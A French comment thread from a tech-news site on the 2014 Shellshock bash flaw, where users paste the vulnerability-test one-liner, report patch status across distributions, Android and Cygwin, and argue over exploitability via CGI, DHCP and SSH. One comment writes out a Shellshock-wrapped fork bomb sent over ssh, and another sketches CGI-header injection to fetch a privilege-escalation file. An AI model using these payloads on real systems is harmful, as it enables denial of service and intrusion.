Pour chrooter un apache, il y a plus simple et plus facile à maintenir tout en étant aussi efficace. Pour cela, il suffit d’utiliser le module mod_security2 ==&gt;https://www.modsecurity.org/



Avec mod_security2, la mise en place du chroot se fait en une seule ligne dans le fichier de configuration de Apache avec la directive :

SecChrootDir /repertoire/a/chrooter


votre avatar







loloemr a écrit :



De toute façon, tu as installé libreoffice sur ton serveur, non ?

Donc c’est bon tu es protégé …

<img data-src=" />





LibreOffice ???

Quel rapport ???


votre avatar







LordZurp a écrit :



en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes)





<img data-src=" />


votre avatar







zempa a écrit :



LibreOffice ???

Quel rapport ???





youtube.com YouTube


votre avatar







gokudomatic a écrit :



challenge accepted.<img data-src=" />





Pas de MMU sur 286, c’est pas gagné.

un Linux, pas un µClinux !


votre avatar







fred42 a écrit :



Pas de MMU sur 286, c’est pas gagné.

un Linux, pas un µClinux !





on a quand même droit de réécrire le code pour désactiver des trucs, non?


votre avatar

Bon, j’ai fait le test sur ma station de travail :





olivier@olivier-H67MA-D2H-B3 ~ \( env X="() { :;} ; echo shellshock" /bin/sh -c "echo completed"

completed

olivier@olivier-H67MA-D2H-B3 ~ \) env X=“() { :;} ; echo shellshock” which bash -c “echo completed”

/bin/bash: avertissement : X: ignoring function definition attempt

/bin/bash: erreur lors de l’import de la définition de fonction pour « X »

completed





En clair, mise à jour faite et opérationnelle. Merci Mint !



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />

votre avatar







fred42 a écrit :



Pas de MMU sur 286, c’est pas gagné.

un Linux, pas un µClinux !







Pas PMMU sur 286, avec un P pour Paged.



Mais avec les segments en mode protégé, on doit pouvoir faire quelque chose,

sauf que je n’ose pas imaginer la complexité en code et le coût en performance si on décide de simuler un mode paginé avec ça.



Edith On doit quand même pouvoir s’inspirer de ce que fait µClinux


votre avatar







ActionFighter a écrit :



Mksh donc <img data-src=" />



C’est une version adroid officielle ? ou une custom ?







Officielle, 4.1.2 (merci Asus d’avoir laissé tomber les màj <img data-src=" />)


votre avatar

Ah, c’était ça les unattended upgrades de ce matin.

votre avatar

A titre d’information (pour ceux qui veulent des détails un peu technique et qui parlent anglais), Robert Graham a écrit 3 articles sur le ShellShock :

http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCP8l1ffhG…

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCP8m1f…

http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VCP8m1ff…



Et apparemment des gens utilisent masscan pour déposer des malwares vers les serveurs vulnérables…

votre avatar

Apparemment pas touché sur Mageia :



\( env X="() { :;} ; echo shellshock" /bin/sh -c "echo completed"

/bin/sh: avertissement :X: ignoring function definition attempt

/bin/sh: erreur lors de l'import de la définition de fonction pour « X »

completed

\) env X=“() { :;} ; echo shellshock” which bash -c “echo completed”

/usr/bin/bash: avertissement :X: ignoring function definition attempt

/usr/bin/bash: erreur lors de l’import de la définition de fonction pour « X »

completed

votre avatar







Ricard a écrit :



Rien chez moi. Pis j’utilise systématiquement ZSH.<img data-src=" />





Le fait que tu utilise zsh ne change rien si bash est installé sur ton system (ce qui est le cas sur la plupart des unix). Tape la 2 eme commande dans zsh si ton bash est pas patché ça marchera aussi.


votre avatar

<img data-src=" /> Vincent à un MacBook Air. <img data-src=" />

votre avatar







arno53 a écrit :



Y’a quelqu’un de courageux pour expliquer la faille avec des mots simple <img data-src=" /> ?





en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verificationen gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification


votre avatar

Bash, c’est un truc de jeunes, ça.



ksh &gt; bash



<img data-src=" />

votre avatar

non rien…







ZiXiS a écrit :



Le fait que tu utilise zsh ne change rien si bash est installé sur ton system (ce qui est le cas sur la plupart des unix). Tape la 2 eme commande dans zsh si ton bash est pas patché ça marchera aussi.





en effet!


votre avatar







ZiXiS a écrit :



Le fait que tu utilise zsh ne change rien si bash est installé sur ton system (ce qui est le cas sur la plupart des unix). Tape la 2 eme commande dans zsh si ton bash est pas patché ça marchera aussi.





Exact. Je viens de tester.<img data-src=" />


votre avatar







HPact a écrit :



Donc, il faut déjà avoir accès à la machine, ou exploiter une autre faille pour pouvoir faire exécuter un bash à distance et exploiter cette vulnérabilité. Me trompe-je?







Oui et non.



Il faut soit un accès à la machine, soit un accès à un logiciel déployé sur la machine qui exécute du bash : typiquement un serveur apache.


votre avatar







eliumnick a écrit :



Oui et non.



Il faut soit un accès à la machine, soit un accès à un logiciel déployé sur la machine qui exécute du bash : typiquement un serveur apache.





Apache sur un serveur, c’est la loose.<img data-src=" />


votre avatar







ZiXiS a écrit :



Apparemment Android utilise ash :en.wikipedia.org WikipediaApparemment, c’est mksh qui est embarqué depuis les dernières versions.





mksh is shipped with Android 3.0 and newer releases and the standard shell of non-emulator builds on Android 4.0 and newer.









levhieu a écrit :



Officielle, 4.1.2 (merci Asus d’avoir laissé tomber les màj <img data-src=" />)



<img data-src=" />



Donc il ne reste que les apps de scripting installant bash en shell par défaut qui peuvent apporter la vulnérabilité.


votre avatar







Mowee a écrit :



Sachant que le patch n’est visiblement pas suffisant:twitter.com TwitterEn effet <img data-src=" />


votre avatar

Merci pour l’info, mon dédié a la faille, j’ai fait une mise à jour.

votre avatar







Mowee a écrit :



Sachant que le patch n’est visiblement pas suffisant:twitter.com TwitterC’était vrai pour le premier patch, depuis un 2e a été déployé (CVE-2014-7169).


votre avatar



toto@ubusonde:$ env X=“() { :;} ; echo shellshock” /bin/sh -c “echo completed”

completed

toto@ubusonde:\( env X="() { :;} ; echo shellshock" which bash -c "echo completed"

/bin/bash: avertissement : X: ignoring function definition attempt

/bin/bash: erreur lors de l'import de la définition de fonction pour « X »

completed

toto@ubusonde:~\)





mouaih …

votre avatar
votre avatar







millman42 a écrit :



Saut que le serveur ssh est lancé en root et que la commande est donc lancé par l’utilisateur root.





Je crois que tu n’as pas compris la faille. Le serveur SSH est lancé en root. Quand tu te connectes dessus, tu instancies un process bash avec ton user, tu es pas root.



Un cas d’attaque pour avoir une élévation de privilège est :




  • un serveur apache avec mod_cgi

  • un vieux noyau

    J’encapsule dans les headers de ma requetes la définition de fonction malicieuses qui contient la récupération d’un fichier permettant d’avoir une élévation de privilège sur la version du noyau et soin execution.



    Et voilà.



    Mais pas par un serveur SSH.



    Edit: OK vu ton edit :)

    Coucou Edith <img data-src=" />


votre avatar







127.0.0.1 a écrit :



La faille permet d’executer automatiquement une ligne de commande arbitraire au prochain lancement de “bash”.



Pour cela, il faut créer une variable d’environnement spécialement conçue sur le serveur.



Exemple: un compte “invité” qui a accès au serveur crée une variable d’environnement qui va executer un gros “rm ”. Plus tard, l’administrateur se loggue et ouvre un terminal… et paf ! Bash se lance et execute le “rm ” avec les droits admin.





On n’est pas sous Windows, la variable d’environnement est locale au programme lancé.


votre avatar







obrowny a écrit :



c’est beau de voir dans la même news qu’une faille a été découverte et deux lignes plus loin qu’elle a été patchée. Ça souligne une belle réactivité de l’écosystème quand même !





Ouai enfin la faille a 22 ans (bash 1.14, sorti en 1992) <img data-src=" />


votre avatar







Khalev a écrit :



Ouai enfin la faille a 22 ans (bash 1.14, sorti en 1992) <img data-src=" />





Oui c’est ça le plus fou, c’est que cela n’ai pas été découvert avant.



<img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Heu… Au pif, le gars bombardé sysadmin dans mon administration ?



Bon, notre serveur est sous Windows cela dit en passant… <img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />





C’est sûr que même certifié MS, il est armé pour administrer du Linux… Je sais de quoi je parle, je suis MCSE Win2000, le truc qui faisait déjà du datawarehouse sur des disques limités à 128GB.


votre avatar







XMalek a écrit :



Au finak le seul bon chiffres c’est 3000 vulnérables (merci de m’avoir corrigé :p)





3000 vulnérables sachant que son script n’est pas allé jusqu’au bout, que seuls 1/50° des serveurs ont répondu et qu’il ne scannait que le port 80



C’est un chiffre très sous-évalué.


votre avatar







Crysalide a écrit :



Quid de Android et Firefox OS qui utilisent le kernel Linux ?







La


votre avatar







millman42 a écrit :



Pas d’élévation de privilège je ne suis pas d’accord si on l’utilise sur un serveur ssh on peut exécuter des commande en root, de même que lorsqu’on l’utilise avec dhcpclient (car ces deamon sont exécuter en root). Et pour exécuter la commande dangereuse il faut juste pouvoir exporter une variable d’environnement. Ce que fais apache avec le mod cgi ou dhcpclient …







Alors certes, je me suis fais induire en erreur par les petites lignes POC.

Je me disais, si on me laisse utiliser /usr/bin/env, on me laisse donc exécuter ce que je veux.



Or donc, on peut passer des variables d’environnement par d’autres moyens, propres à chaque daemon concerné. Mais pour reprendre l’exemple de ssh, quand j’ouvre une session en passant des variables d’environnement, le sshd se contente de les placer dans l’environnement du processus utilisateur créé. Ou alors, c’est sur sshd qu’il faut se pencher (pas forcément inutile d’ailleurs, au vu de ce qu’on a appris depuis le début de l’année).



Et pour les autres serveurs, même chose: s’ils tournent en root, ils ne doivent pas plus accepter d’injecter n’importe quoi dans leur environnement. S’ils ne tournent pas en root, pas vraiment non plus, mais bon… Et au fait, un serveur XXX ne devrait-il pas tourner d’une manière genérale, i.e. dès que c’est possible, sous le compte XXX ?


votre avatar







Crysalide a écrit :



Quid de Android et Firefox OS qui utilisent le kernel Linux ?







La faille ne concerne pas le noyau Linux, mais un interpréteur de commandes. Bash est concerné par la faille.

Et si vous avez bash sur MacOSX, Linux, Windows, ils sont concernés si pas mis à jour.


votre avatar







Biour a écrit :



Test a l’instant sur Ubuntu 14.04

&nbsp;

:$ env X=“() { :;} ; echo shellshock” /bin/sh -c “echo completed”

completed

&nbsp;:$ env X=“() { :;} ; echo shellshock” which bash -c “echo completed”

&nbsp;shellshock

&nbsp;completed





Idem pour moi, Kubuntu 13.10 64bits, Bash v4.2.45(1).

Testé en entreprise ceci dit, je ne sais pas si on est censé avoir un accès internet “ouvert” ou si le test se suffit à lui-même.


votre avatar







cactus2000 a écrit :



Apparemment pas touché sur Mageia :





Pas testé sur Mageia mais EOLE n’est pas touché (Ubuntu server based).


votre avatar



On vérifie ses mises à jour en vitesse





Et on éclate de rire chez certains?



















Mais non, c’est pour plaisanter. <img data-src=" /><img data-src=" />

votre avatar







levhieu a écrit :



Alors certes, je me suis fais induire en erreur par les petites lignes POC.

Je me disais, si on me laisse utiliser /usr/bin/env, on me laisse donc exécuter ce que je veux.



Or donc, on peut passer des variables d’environnement par d’autres moyens, propres à chaque daemon concerné. Mais pour reprendre l’exemple de ssh, quand j’ouvre une session en passant des variables d’environnement, le sshd se contente de les placer dans l’environnement du processus utilisateur créé. Ou alors, c’est sur sshd qu’il faut se pencher (pas forcément inutile d’ailleurs, au vu de ce qu’on a appris depuis le début de l’année).



Et pour les autres serveurs, même chose: s’ils tournent en root, ils ne doivent pas plus accepter d’injecter n’importe quoi dans leur environnement. S’ils ne tournent pas en root, pas vraiment non plus, mais bon… Et au fait, un serveur XXX ne devrait-il pas tourner d’une manière genérale, i.e. dès que c’est possible, sous le compte XXX ?





:%s/serveur/service/g



Oui, tu as raison. En revanche, comme d’habitude c’est la combinaison de plusieurs failles qui peut faire mal.


votre avatar







levhieu a écrit :



Or donc, on peut passer des variables d’environnement par d’autres moyens, propres à chaque daemon concerné. Mais pour reprendre l’exemple de ssh, quand j’ouvre une session en passant des variables d’environnement, le sshd se contente de les placer dans l’environnement du processus utilisateur créé. Ou alors, c’est sur sshd qu’il faut se pencher (pas forcément inutile d’ailleurs, au vu de ce qu’on a appris depuis le début de l’année).





Oui en effet je me suis trompé.


votre avatar







Ricard a écrit :



<img data-src=" /> Vincent à un MacBook Air. <img data-src=" />







Ouaip, c’est une excellente machine <img data-src=" />


votre avatar







loloemr a écrit :



Euh si tu sais pas quoi en faire …. <img data-src=" />





Je me suis posé la question de racheter une Mobo qui va en dessous. La mobo seule est plus chère qu’une mobo socket1150 avec un i5 dernier cri dessus. Le calcul est vite fait…


votre avatar







Vincent_H a écrit :



Ouaip, c’est une excellente machine <img data-src=" />





Est-ce qu’il se plie quand on le met dans la poche ?



<img data-src=" />



<img data-src=" />


votre avatar







LordZurp a écrit :



en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verificationen gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification






Non, le serveur web ne va pas demander quoique ce soit au bash.


Le problème se pose si un script executé par le serveur web fait appel au bash par exemple pour utiliser une exécutable comme imagemagick pour le redimensionnement d’image.

Et encore, il faudrait que l’appel au bash puisse être modifiable.



Disons que je suis comme beaucoup, j’ai du mal à voir dans cette faille une dangerosité aussi grande que heartbleed qui pour le coup permettait de récupérer des infos (aléatoirement certes).

&nbsp;Le cas où on télécharge un script ou un document virussé qui exécute un script est évident mais c’est assez limitée comme zone d’exploitation.

Donc je vois pas très bien comment on peut facilement exploiter cette faille.


votre avatar







CaptainDangeax a écrit :



Est-ce qu’il se plie quand on le met dans la poche ?



<img data-src=" />



<img data-src=" />







Tordant <img data-src=" />


votre avatar







Zergy a écrit :



J’ai encore un PIII 650 sous Debian 7 qui tourne chez moi, avec deux DD SATA 2Tio via carte PCI SATA, il me sert de serveur de fichiers.

Oui, c’est sale, je sais. <img data-src=" />





mais non , ce n’esssttt pas sale !

le boss vient de redémarrer un P4 2.8 ghz , 1 go de ram sur P4P800 monté en ubuntu 1202 lts , ben ca tourne vraiment bien !! en gui en plus)



alors pour filer !!!



tu crois que les marvell de syno ou les atom à 1.2 ghz tuent ton PIIII ? pas sure,


votre avatar







CaptainDangeax a écrit :



Ouaip. Fumeux ton scénario. D’abord, Apache n’utilise pas le bash pour accéder aux fichiers, il utilise la librairie standard comme tout programme écrit en C. Un peu de lecture. Ensuite ta commande s’exécute avec les droits de l’utilisateur, ici ton serveur Apache qui, s’il est bien configuré, a des droits en écriture TRÈS limités, voire pas de droit en écriture du tout. Ça limite les dégas.





Avec ces droits, ça sufit à effacer toute la partie à laquelle Apache a accès, soit tout le(s) site(s) Web hébergé.

Ce n’est pas limité.


votre avatar







loloemr a écrit :



Lapin compris ?<img data-src=" />







si il administre un serveur de production dans une société, mettre çà jour tout les paquets du serveur, c’est s’assurer qu’un paquet à la con va entrainer une régression, et tout casser



c’est pour ça qu’il recommande de ne mettre à jour que le nécessaire


votre avatar







psn00ps a écrit :



Avec ces droits, ça sufit à effacer toute la partie à laquelle Apache a accès, soit tout le(s) site(s) Web hébergé.

Ce n’est pas limité.





Euh, il n’y a que les débutants (pour ne pas dire incompétent) qui donnent un accès en écriture aux fichiers du site. Si Apache est bien configuré tu ne peux qu’écrire dans /tmp et dans l’éventuel dossier servant d’upload de fichier (pièce jointe de message de forum par exemple)


votre avatar







ledufakademy a écrit :



mais non , ce n’esssttt pas sale !

le boss vient de redémarrer un P4 2.8 ghz , 1 go de ram sur P4P800 monté en ubuntu 1202 lts , ben ca tourne vraiment bien !! en gui en plus)



alors pour filer !!!



tu crois que les marvell de syno ou les atom à 1.2 ghz tuent ton PIIII ? pas sure,





Sûr que non. Je soupçonne mon syno de n’avoir qu’un ARM à 800MHz et 512MB de ram. c’est économique mais ça ne fait pas d’ombre à un pétrois.

Et puis un péquatre ça fonctionne trèèèèèès bien sous Linux à condition d’avoir le bon chip graphique, genre nvidia &gt;=6 ou intel. Là, à l’école des petits, il y en a une palette avec du chipset SIS. Et là, je pleure, ni Linux ni Win7 ne passent dessus.


votre avatar







Vincent_H a écrit :



Ouaip, c’est une excellente machine <img data-src=" />





Et pas cher en plus. Ceci n’est pas un troll, sauf si quelqu’un me trouve une machine équivalente au même prix.







canti a écrit :



si il administre un serveur de production dans une société, mettre à jour tout les paquets du serveur, c’est s’assurer qu’un paquet à la con va entrainer une régression, et tout casser



c’est pour ça qu’il recommande de ne mettre à jour que le nécessaire





OK. +1, alors <img data-src=" />


votre avatar







CaptainDangeax a écrit :



Et dire que la semaine prochaine, je balancerai un serveur Xeon E5520 à la jaille.





MER IL EST FOU ! <img data-src=" />





CaptainDangeax a écrit :



Au moins, il ne consomme pas trop, la conso maximale du pétrois n’est que 22 watts.





Vu ce qu’il y a dedans (PIII 650 passif + 3*256 PC100 + ATI 3D Rage Pro + 2 PCI Gigabit + PCI SATA + Carte son ISA + 2 DD SATA 3,5”) il ne doit pas consommer des masses, surtout que l’alimentation (de bientôt 16 ans) ne peu fournir que 125W)


votre avatar







doctor madness a écrit :



La faille ne concerne pas le noyau Linux, mais un interpréteur de commandes. Bash est concerné par la faille.

Et si vous avez bash sur MacOSX, Linux, Windows, ils sont concernés si pas mis à jour.





Et oui, ceux qui rient dans le fond n’ont pas pensé à Cygwin.

Il est affecté de la même manière.


votre avatar







benjarobin a écrit :



Euh, il n’y a que les débutants (pour ne pas dire incompétent) qui donnent un accès en écriture aux fichiers du site. Si Apache est bien configuré tu ne peux qu’écrire dans /tmp et dans l’éventuel dossier servant d’upload de fichier (pièce jointe de message de forum par exemple)





Je crois que tu es bisounours sur ce coup là <img data-src=" />


votre avatar







ragoutoutou a écrit :



Malheureusement si…



En entreprise, bon nombre de personnes bombardées “admin linux” ne font que suivre des recettes de cuisine et n’ont aucune idée de ce qui se passe à l’étage en dessous.





Un noob qui fait des cgi, il n’a pas besoin de faille bash pour se tirer une balle dans le pied tout seul comme un grand.


votre avatar

Testé sur mon téléphone Galaxy SII avec la rom “CyanogenMod 11-20140801-SNAPSHOT-M9-i9100” (Android Kitkat 4.4.4) avec le programme terminal emulator :



env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test”

vulnerable

this is a test



Mon téléphone est vulnérable





Au passage, il n’y a pas que les les système Unix qui sont vulnérable mais aussi les système Windows sur lesquels sont installé Cygwin (environnement de type Unix pour Windows). J’ai testé la faille sur un de nos serveurs Windows au boulot où est installé Cygwin et le résultat est le suivant :



env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test”

vulnerable

this is a test



Windows/Cygwin = Vulnérable

votre avatar







Indus a écrit :



Pour chrooter un apache, il y a plus simple et plus facile à maintenir tout en étant aussi efficace. Pour cela, il suffit d’utiliser le module mod_security2 ==&gt;https://www.modsecurity.org/



Avec mod_security2, la mise en place du chroot se fait en une seule ligne dans le fichier de configuration de Apache avec la directive :

SecChrootDir /repertoire/a/chrooter





Oui, modsecurity, c’est pas mal, mais ça rajoute un niveau supplémentaire de complexité non négligeable pour l’administrateur.



Et puis bon, dans l’ensemble il est toujours préférable d’avoir son WAF sur un système séparé du serveur applicatif.


votre avatar







loloemr a écrit :



youtube.com YouTubeDans la vidéo, il est question de OpenOffice pas de LibreOffice.

D’autant que LibreOffice est une suite bureautique alors que OpenOffice est, d’après la vidéo, un pare feu (que j’avoue ne pas connaitre).

Je crois donc qu’il y a là un peu de confusion.

Ou alors c’était juste pour faire un jeu de mot ?


votre avatar

Bon bein moi je vais installer Beos <img data-src=" />

votre avatar

Pour tous ceux qui se demandent ce qu’on peut réellement faire de méchant avec cette vulnérabilité essayez de taper cette commande, et vous comprendrez :



env LC_FB=‘() { :;}; :(){ :|:& };:’ ssh some_user@some_system





(pour ceux qui ne l’aurez pas remarqué c’est une fork bomb)


votre avatar







zempa a écrit :



Dans la vidéo, il est question de OpenOffice pas de LibreOffice.

D’autant que LibreOffice est une suite bureautique alors que OpenOffice est, d’après la vidéo, un pare feu (que j’avoue ne pas connaitre).

Je crois donc qu’il y a là un peu de confusion.

Ou alors c’était juste pour faire un jeu de mot ?





En fait tu trolles pas.

:eeek:


votre avatar







Winderly a écrit :



En fait tu trolles pas.

:eeek:





si pourquoi ? <img data-src=" />


votre avatar







ledufakademy a écrit :



sudo apt-get update

sudo apt-get updgrade





et tu sera comme moi, pas de faille …







Heu, non. Sa version 13.10 n’est plus maintenue ,l’update ne lui remontera rien comme mises à jour…



Les version Unbuntu LTS sont maintenues pendant 5 ans, les autres le sont seulement que pendant 9 mois (avant c’était 18).


votre avatar







stratic a écrit :



Heu, non. Sa version 13.10 n’est plus maintenue ,l’update ne lui remontera rien comme mises à jour…



Les version Unbuntu LTS sont maintenues pendant 5 ans, les autres le sont seulement que pendant 9 mois (avant c’était 18).







ppa ?


votre avatar

sur la Debian testing (jessie, 8) : bash est mis à jour ce jour.

votre avatar







Jed08 a écrit :



Pour tous ceux qui se demandent ce qu’on peut réellement faire de méchant avec cette vulnérabilité essayez de taper cette commande, et vous comprendrez :





(pour ceux qui ne l’aurez pas remarqué c’est une fork bomb)





Pas besoin de faille pour faire une fork bomb.


votre avatar

C’est bien, ça change de voir une faille sur linux. Il faut pas que les gens se croient trop à l’abri…

votre avatar







alexandredenis a écrit :



Pas besoin de faille pour faire une fork bomb.







Non: par contre quelqu’un peut faire le nécessaire pour que ton serveur Apache en lance une…


votre avatar

Passez sur Windows les gars <img data-src=" />

votre avatar







earendil_fr a écrit :



Non: par contre quelqu’un peut faire le nécessaire pour que ton serveur Apache en lance une…





Ton exemple était avec ssh, qui n’a aucun rapport avec la faille.

Et sinon, mon serveur apache n’a pas de cgi activés. Encore moins avec du shell. Et de toute façon, le shell de mon user www-data, c’est dash, pas bash.


votre avatar







alexandredenis a écrit :



Ton exemple était avec ssh, qui n’a aucun rapport avec la faille.

Et sinon, mon serveur apache n’a pas de cgi activés. Encore moins avec du shell. Et de toute façon, le shell de mon user www-data, c’est dash, pas bash.





Aucune importance que tu utilises pas base. Le pb était que ça appelait base pour ensuite exploiter une faille. Personne n’est à l’abri en gros.


votre avatar

Sur ma Debian Sid :



% env X=“() { :;} ; echo shellshock” bash -c “echo completed”

bash: avertissement :X: ignoring function definition attempt

bash: erreur lors de l’import de la définition de fonction pour « X »

completed





Par contre :



env X=‘() { (a)=&gt;\’ bash -c “echo date”; cat echo

bash: X: ligne 1: erreur de syntaxe près du symbole inattendu « = »

bash: X: ligne 1: `’

bash: erreur lors de l’import de la définition de fonction pour « X »

vendredi 26 septembre 2014, 00:01:16 (UTC+0200)

votre avatar

Faille pas encore corrigée sous Mint Debian…

votre avatar







Commentaire_supprime a écrit :



Faille pas encore corrigée sous Mint Debian…





Faille patchée hier pour Debian Stable :p


votre avatar







Quiproquo a écrit :



Faille patchée hier pour Debian Stable :p







Ma Mint Debian est basée sur Debian Testing, pas de bol…



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Ma Mint Debian est basée sur Debian Testing, pas de bol…



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />







Pas de bol en effet, la version dans unstable est patchée, mais pas encore arrivée dans testing. Je soulignais juste que pour la sécurité, stable est une bonne solution. A priori l’équipe de LMDE va publier un pack dès que bash/4.3-9.2 sera arrivé dans testing.



L’avantage c’est que ça permet de bien prendre conscience du fonctionnement de sa distribution. <img data-src=" />


votre avatar







Xaelias a écrit :



En même temps sur un ordi perso j’ai du mal à voir comment cette faille peut poser un danger immédiat.





Pa exemple en se connectant avec un portable sur un hotspot wifi malicieux qui attaque ta machine en utilisant le DHCP


votre avatar







eliumnick a écrit :



Oui et non.



Il faut soit un accès à la machine, soit un accès à un logiciel déployé sur la machine qui exécute du bash : typiquement un serveur apache.







Euh, ouais, donc ça signifie qu’il faut exploiter une faille du serveur Apache pour exploiter la faille de Bash…


votre avatar







HPact a écrit :



Euh, ouais, donc ça signifie qu’il faut exploiter une faille du serveur Apache pour exploiter la faille de Bash…





Il ne me semble pas que ce soit une faille au niveau d’apache. Dans le cas d’un CGI un certains nombre d’éléments venant de la requête vont être créés en tant que variable dans l’environnement d’exécution du shell, si c’est bash la faille pourra être exploitée pour exécuter des commandes arbitraires avec les droits de l’utilisateur apache. &nbsp;


votre avatar

Ok, merci pour l’explication.

votre avatar

Sachant que le patch n’est visiblement pas suffisant:twitter.com Twitter

votre avatar

mon serveur a été pingé par un PoC ce matin vers 7h30 … gaffe, les bots sont à donf

votre avatar

Je viens de mettre à jour mon serveur dédié sous debian, merci.

votre avatar







benjarobin a écrit :



Euh, il n’y a que les débutants (pour ne pas dire incompétent) qui donnent un accès en écriture aux fichiers du site. Si Apache est bien configuré tu ne peux qu’écrire dans /tmp et dans l’éventuel dossier servant d’upload de fichier (pièce jointe de message de forum par exemple)











psn00ps a écrit :



Je crois que tu es bisounours sur ce coup là <img data-src=" />





&nbsp;Il faut avoué que le chmod 777 est bien pratique… <img data-src=" />


votre avatar







ledufakademy a écrit :



sudo apt-get update

sudo apt-get updgrade

et tu sera comme moi, pas de faille …





Ouais mais j’veux paaaaas mettre à jour…<img data-src=" /> Trop de changements imposés que j’aime pas dans la dernière version de KDE (j’attends la prochaine tant qu’à faire) et cet enfoiré d’Ubuntu ne veut rien entendre, il met systématiquement l’intégralité des paquets en “dépendance” à MAJ même quand je sélectionne juste un truc non critique (genre éditeur de texte).

Et je déteste qu’on me force la main sans raison..<img data-src=" />





benjarobin a écrit :



Euh, il n’y a que les débutants (pour ne pas dire incompétent) qui donnent un accès en écriture aux fichiers du site. Si Apache est bien configuré tu ne peux qu’écrire dans /tmp et dans l’éventuel dossier servant d’upload de fichier (pièce jointe de message de forum par exemple)





Et du coup, avec un Drupal, comment tu fais par exemple ? <img data-src=" /> (ça fait partie des trucs qui sont probablement triviaux mais avec lesquels je galère toujours)

Je pensais qu’il suffisait de mettre une directive dans le VirtualHost mais il y a certainement des trucs que je pige pas. Au final, le répertoire où sont stockés les fichiers “de contenu” je dois toujours l’ouvrir à tout vent.





alexandredenis a écrit :



ET pourtant toutes les docs apache disent bien que le serveur ne doit pas pouvoir réécrire les documents, surtout les documents dynamiques. Un admin consciencieux va même au-delà, et isole son serveur apache (VM, ou au moins chroot).

En tout cas, c’est ce que je fais.





Le CHROOT ça avait l’air puissant comme solution, mais je comprends pas tout. Aurais-tu par hasard un tuto/doc compréhensible par un Mickey (apprenti sorcier) admin sys ? <img data-src=" />


votre avatar







pentest a écrit :



C’est pas la faille bash qui m’intéresse dans ma démonstration. C’est la méthode employée pour rechercher une faille dans le système, au lieu de copier/coller et executer aveuglement une ligne de code.



Freebsd <img data-src=" />





Sauf que cela implique que la vulnérabilité ait été déclaré dans le xml que tu récupères.

http://vuxml.freebsd.org/freebsd/index-date.html

Bon après, c’est sûr que c’est classe. <img data-src=" />







CaptainDangeax a écrit :



Donc, pour résumer la niouze et tous les posts, cette faille a une portée limitée à un certain nombre de serveurs qui déjà ne sont pas maintenus à jour et qui exploitent un ensemble bien particulier de services, de plus mal configurés d’un point de vue sécurité, la faille elle-même n’étant pas suffisante à elle seule pour permettre de compromettre une machine. Donc pas de quoi s’inquiéter pour Mme Michu qui fait un peu de firefox / thunderbird / chrome / gimp / clementine avec son Linuxmint…





Euh, je tempèrerai ton optimisme en disant qu’il y a probablement plus de serveur web Linux avec apache + mod_cgi que de Mme Michu. <img data-src=" />


votre avatar







zempa a écrit :



&nbsp;Il faut avoué que le chmod 777 est bien pratique… <img data-src=" />





Je vais aller me prendre… <img data-src=" /> <img data-src=" />

Dis moi que c’est juste pour la blague et que tu ne fais pas ceci en production… <img data-src=" />


votre avatar







loloemr a écrit :



Sauf que cela implique que la vulnérabilité ait été déclaré dans le xml que tu récupères.

http://vuxml.freebsd.org/freebsd/index-date.html

Bon après, c’est sûr que c’est classe. <img data-src=" />







On est d’accord. <img data-src=" />

Il semblerait que cette approche soit fonctionnelle est a jour pour le cas.


votre avatar







Citan666 a écrit :



Ouais mais j’veux paaaaas mettre à jour…<img data-src=" /> Trop de changements imposés que j’aime pas dans la dernière version de KDE (j’attends la prochaine tant qu’à faire) et cet enfoiré d’Ubuntu ne veut rien entendre, il met systématiquement l’intégralité des paquets en “dépendance” à MAJ même quand je sélectionne juste un truc non critique (genre éditeur de texte).

Et je déteste qu’on me force la main sans raison..<img data-src=" />





http://www.debianadmin.com/how-to-prevent-a-package-from-being-updated-in-debian…







Citan666 a écrit :



Et du coup, avec un Drupal, comment tu fais par exemple ? <img data-src=" /> (ça fait partie des trucs qui sont probablement triviaux mais avec lesquels je galère toujours)

Je pensais qu’il suffisait de mettre une directive dans le VirtualHost mais il y a certainement des trucs que je pige pas. Au final, le répertoire où sont stockés les fichiers “de contenu” je dois toujours l’ouvrir à tout vent.





Un peu de recherche sur Google ?

https://www.drupal.org/node/244924



Edit : pardon, oui pour ta question, le files doit appartenir au serveur web.







Citan666 a écrit :



